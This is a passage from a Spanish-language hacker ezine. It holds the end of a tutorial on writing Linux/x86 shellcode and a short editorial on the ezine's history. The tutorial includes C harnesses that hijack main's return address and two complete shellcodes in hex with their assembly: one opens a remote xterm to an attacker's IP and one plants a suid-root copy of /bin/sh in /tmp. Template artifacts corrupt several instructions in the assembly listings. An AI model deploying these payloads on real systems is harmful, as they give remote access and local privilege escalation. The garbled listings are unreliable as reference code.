: pushl %ebp 0x8048405 : movl %esp,%ebp 0x8048407 : jmp 0x8048428 -> aqui empieza la scode 0x8048409 : popl %esi 0x804840a : xorl %eax,%eax [..] (gdb) x/1xb main+3 0x8048407 : 0xeb (gdb) x/1xb main+4 0x8048408 : 0x1f Vamos cogiendo esos valores y los vamos poniendo en el array, quedando algo parecido a esto: char shellcode[] = "\xeb\x1f.."; Y vamos rellenando hasta el final, que acabara con tres \xff. Despues copia- mos el string /bin/sh. Al final la shellcode quedara algo como: char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; Y ya esta, lista para ser utilizada :). ----------------------------------- // 7.- Comprobando una shellcode ----------------------------------- Para comprobar facilmente si una shellcode funciona podemos usar el siguiente codigo en C. <-- Codigo --> #include char shellcode[] = shellcode; // aqui poner la sc evidentemente :) main() { int *ret; ret+=2; *ret = (int)shellcode; } <-- Fin Codigo --> Lo que hacemos es definir un puntero (ret). Como ret es lo unico que esta en la pila (al declarar la shellcode fuera de main como variable global), si in- crementamos en 2 posiciones la direccion a la que apunta ret haremos que apunte a la direccion de retorno de main(). Por lo tanto lo incrementamos en 2 (al ser un puntero a entero cada incremento vale 4 bytes), y despues hace- mos que apunte a la shellcode, con lo que la misma se ejecutara a la vuelta de main(). Quizas con un ejemplo 'grafico' se vea mas claro. Nada mas definir ret, la memoria tendria este aspecto: [Shellcode] +--------------+ | PILA | +==============+ | ret | # 4 bytes +--------------+ | ebp | # 4 bytes +--------------+ | direccion | # 4 bytes | de retorno | +--------------+ Entonces si modificamos ret para que apunte a la direccion de retorno (direccion de ret + 16 bytes), y sobreescribimos la direccion de retorno para que apunte a la shellcode, quedaria algo como: [Shellcode] +--------------+ | PILA | +==============+ | ret | ---+ # 4 bytes +--------------+ | | ebp | | # 4 bytes +--------------+ | | direccion de | | # 4 bytes | [shellcode] | <--+ +--------------+ Con lo que conseguimos ejecutar la shellcode. Lo malo de este codigo es que cada vez que queramos testear una scode tendremos que pasarla primero a string, y si esto lo hacemos manualmente podemos llegar a perder mucho tiempo en cada testeo. Por lo tanto lo mejor seria usar este otro codigo: <-- Codigo --> #include shellcode(){ asm(" [poner el codigo de la shellcode en asm aqui] "); } main() { int *ret; char scode[512]; strcpy(scode,(char*)shellcode); ret+=2; *ret = (int)scode; } <-- Fin Codigo --> Con esto conseguimos el mismo efecto que antes pero sin tener que pasar la shellcode a un string, ya que el codigo lo hace automaticamente mediante un strcpy. ----------------- // 8.- Sources ----------------- Aqui pego dos codigos de shellcodes echas por mi. La primera ejecuta un xterm remoto, comprobando el tamaño de la ip, pudiendo cambiar una ip por otra sin problema. La orden exacta que ejecuta es "xterm -ut -display ip:0". Para ha- cer la comprobacion simplemente usa un bucle que va comprobando byte a byte hasta que encuentra el caracter 'K', cuando lo encuentra lo cambia por un nulo que marca el final del string, y por tanto del argumento del execve. La segunda lo que hace es copiar "/bin/sh" a "/tmp/katy" y luego darle suid con el uid del usuario que ejecuto la shellcode, si es root pues root. Para ello usa fork() y wait_pid() ejecundo cada proceso por separado. El proceso hijo hace un execve de "/bin/cp /bin/sh /tmp/katy". Como es la shellcode la que se encarga de ejecutar el 'copy', el fichero "/tmp/katy" tendra como owner el uid del proceso que ejecuto la shellcode.. Si por ejemplo la shellcode la ejecuto un proceso que estaba corriendo con suid de root "/tmp/katy" sera algo como: -rw-r--r-- 1 root root 5489 Oct 18 22:13 katy Mientras tanto el proceso padre estara esperando que termine la ejecucion del proceso hijo por medio de una llamada a la funcion/syscall wait_pid. Cuando eso ocurra el proceso padre hara un chmod a 'katy', por medio de la syscall chmod, para que el fichero quede algo como esto: -r-sr-xr-x 1 root root 5489 Oct 18 22:13 katy Es decir, al final "/tmp/katy" sera una copia de "/bin/sh", con la particulari- dad de tener suid de root (en nuestro caso hipotetico). Salta a la vista que la primera shellcode (xterm.c), es mas practica para xploits remotos, mientras que la segunda (sh_tmp.c) lo es para xploits locales. Para extraer ambas shellcodes a archivos por separado no teneis mas que ejecutar "./nextract 0x04.txt". Se copiaran en los ficheros xterm.c y sh_tmp.c respectiva- mente, dentro del directorio "./shellcodes/". -=-=-=-=-=-=-=-=-=-=-=-=-=-= Shellcodes -=-=-=-=-=-=-=-=-=-=-=-=-=-=-= <++> shellcodes/xterm.c d870618a5f2e4d0ca73dff16074e7b2 /* * Linux/x86 * * execve() of /usr/X11R6/bin/xterm -ut -display ip:0, exit() * 127.0.0.1 is an example, you must change it to a useful ip * (making a subrutine into the exploit?) * - you must not delete 'K' after ip:0 - */ char shellcode[] = "\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56\x21\xb2\x2b" "\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05\x42\xe2\xf7\xeb\x2b\x88" "\x34\x32\x31\xd2\x89\xf3\x89\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d" "\x7e\x19\x89\x7e\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e" "\x36\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xac\xff\xff\xff" "/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K"; /* Code */ /* __asm__(" jmp 0x4f popl %esi xorl %edx,%edx movb %dl,0x14(%esi) movb %dl,0x18(%esi) movb %dl,0x21(%esi) movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x2b,%dl xorl %ecx,%ecx movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x9,%cl cmpb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x4b,(%edx,%esi) je 0x5 inc %edx loop -0x9 jmp 0x2b movb %dh,(%edx,%esi) xorl %edx,%edx movl %esi,%ebx movl %esi,0x36(%esi) leal 0x15(%esi),%edi movl %edi,0x3a(%esi) leal 0x19(%esi),%edi movl %edi,0x3e(%esi) leal 0x22(%esi),%edi movl %edi,0x42(%esi) movl %edx,0x46(%esi) leal 0x36(%esi),%ecx leal 0x46(%esi),%edx xorl %eax,%eax movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}xb,%eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x80 call -0x54 .string \"/usr/X11R6/bin/xterm8-ut8-display8127.0.0.1:0K\" "); */ /* RaiSe */ <--> <++> shellcodes/sh_tmp.c 93e815df1d94dd70c6c1a8b1d17d31 /* * Linux/x86 * * /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork() */ char shellcode[] = "\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f" "\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89" "\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80" "\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0" "\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31" "\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80" "\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/katy"; /* Code */ /* __asm__(" jmp 0x5e popl %edi xorl %eax,%eax movb %al,0x7(%edi) movb %al,0xf(%edi) movb %al,0x19(%edi) movl %edi,0x1a(%edi) leal 0x8(%edi),%esi movl %esi,0x1e(%edi) xorl %esi,%esi leal 0x10(%edi),%esi movl %esi,0x22(%edi) movl %eax,0x26(%edi) movl %edi,%ebx leal 0x1a(%edi),%ecx leal 0x26(%edi),%edx xorl %eax,%eax movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x2,%al int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x80 xorl %esi,%esi cmpl %eax,%esi jne 0x6 movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}xb,%al int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x80 jmp 0x1d xorl %edx,%edx xorl %eax,%eax xorl %ebx,%ebx dec %ebx leal 0x26(%edi),%ecx movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x7,%al int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x80 xorl %eax,%eax leal 0x10(%edi),%ebx xorl %ecx,%ecx movw {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x96d,%cx movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}xf,%al int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x80 xorl %eax,%eax inc %eax xorl %ebx,%ebx int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/shellcodes_linux_1.txt]}x80 call -0x63 .ascii \"/bin/cp8/bin/sh8/tmp/katy\" "); */ /* RaiSe */ <--> ----------------------- // 9.- Notas finales ----------------------- Bueno, y esto ha llegado a su fin. Como anecdotas mencionar que SI, la ver- sion de gdb del paste si es la que pone, es que en el momento de escribir el articulo lo hacia sobre un 486 con Redhat 4.2 :). Y lo de copiar la shell al fichero "/tmp/katy" os imaginais porque el nombrecito,no?.. (she is my pretty girlfriend, hehe). Pues nada mas, nos vemos. Sed buen@s ;). RaiSe 0x00 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ =-[ 0x05 ]-================================================================== =-[ NetSearch Ezine #4 ]-==================================================== =-[ NetSearch al habla ]-==================================================== =-[ por NetSearch ]-========================================================= En esta seccion seguiremos tratando temas de actualidad en lo que se refiere al entorno de NetSearch en general, es decir; noticias, eventos, proyectos, etc. En algunas ocasiones es posible que simplemente 'salga' algun miembro del staff dando su opinion sobre algo relacionado de una u otra forma con la informatica. En este numero me ha tocado a mi (RaiSe) .. Lo primero me gustaria agradecer desde estas lineas el trabajo que ha hecho DarK_FeaR en los numeros anteriores. Como sabreis el fue quien creo lo que estais leyendo ahora, el NetSearch Ezine. Fue hace bastante tiempo ya.. pero sino hubiese sido por el todo este proyecto no existiria, thanks dark ;). Y ya que estoy con agradecimientos.. les doy las gracias tambien a tod@s los que han hecho posible este NS #4, asi como los numeros anteriores. Thanks ;). Pues bien, como no se de que hablar voy a relataros un poco como comenzo todo de esto de NetSearch :).. Era alla por el año 1997 sino recuerdo mal.. mas concretamente en verano.. cuando a un grupo de gente se le ocurrio crear un canal de irc, mas o menos privado, llamado #netsearch. La idea era compartir conocimientos y aprender unos de otros. Poco a poco se fue uniendo gente al canal, mucha de la cual ya no esta actualmente, aunque otros seguimos al pie del cañon ;). Como iba diciendo, en dicho canal empezo a hablarse de cosas interesantes, como seguridad informatica, algo de programacion, etc.. Al poco tiempo se formo una lista de correo, la cual todavia esta funcionando, y ultimamente bastante bien (si quereis apuntaros: http://www.egroups.com/subscribe/netsearch, la subscripcion es abierta a todo el mundo). Al año aproximadamente de la apertura del canal surgio la idea de crear un Ezine, mas concretamente la idea salio de la cabeza de DarK_FeaR XD. Como habia bastante colaboracion y ganas nos pusimos a ello, y sacamos 3 bonitos Ezines :), los cuales estan disponible en nuestra web (www.netsearch-ezine.com). A partir del tercer numero la cosa se enfrio.. y paso mas de un año sin NetSearch's q leer.. hasta que hace unos 2 meses unos cuantos decidimos poner remedio a la situacion.. Se formo un Staff oficial, el cual se comprometio a sacar adelante el Ezine. Y bueno.. por el momento la cosa parece que funciona :). Y en fin, creo que ya me estoy enrollando mas de la cuenta.. XD. Solo os recuerdo una cosa, si quereis contribuir estamos abiertos a cualquier tipo de colaboracion, ya sea webs que hagan de distribuidores oficiales, articulos, etc.. Los articulos podeis mandarlos a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla , solo deben cumplir ciertos requisitos tipicos, como son estar escritos a 80 columnas como maximo, y no llevar caracteres especiales excepto la eñe. Si quereis comunicar algo al Staff podeis mandar un mail a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla y nos llegara a todos ;). Y la ultima cosa.. Para el NetSearch Ezine #5 se abrira una nueva seccion en la que contestaremos las preguntas de los lectores. Si quereis preguntar algo para esa seccion mandarlo a Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla please. Venga, pues nada mas, ya me voy por donde he venido :). Un saludo a tod@s y a seguir bien. RaiSe 0x00